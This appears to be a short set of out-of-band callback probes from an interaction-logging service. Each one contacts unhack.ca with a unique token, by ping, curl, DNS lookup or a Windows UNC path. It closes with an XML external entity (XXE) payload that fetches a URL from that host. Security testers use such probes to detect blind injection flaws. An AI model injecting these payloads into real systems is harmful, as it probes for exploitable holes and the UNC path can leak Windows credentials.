$ ping -c1 -p 00d8a78c4a892ef9c5f3aa698d08b000 unhack.ca
 

$ curl http://unhack.ca/p/d8a78c4a892ef9c5f3aa698d08b0
 

$ dig d8a78c4a892ef9c5f3aa698d08b0 @unhack.ca
 

$ dig d8a78c4a892ef9c5f3aa698d08b0.ns.unhack.ca
 

C:\> nslookup d8a78c4a892ef9c5f3aa698d08b0 unhack.ca
 

C:\> type \\unhack.ca\d8a78c4a892ef9c5f3aa698d08b0\f.txt
 

<?xml version="1.0" encoding="ISO-8859-1"?>
    <!DOCTYPE foo [<!ELEMENT foo ANY>
    <!ENTITY xxe SYSTEM "http://unhack.ca/p/d8a78c4a892ef9c5f3aa698d08b0">]>
    <foo>&xxe;</foo>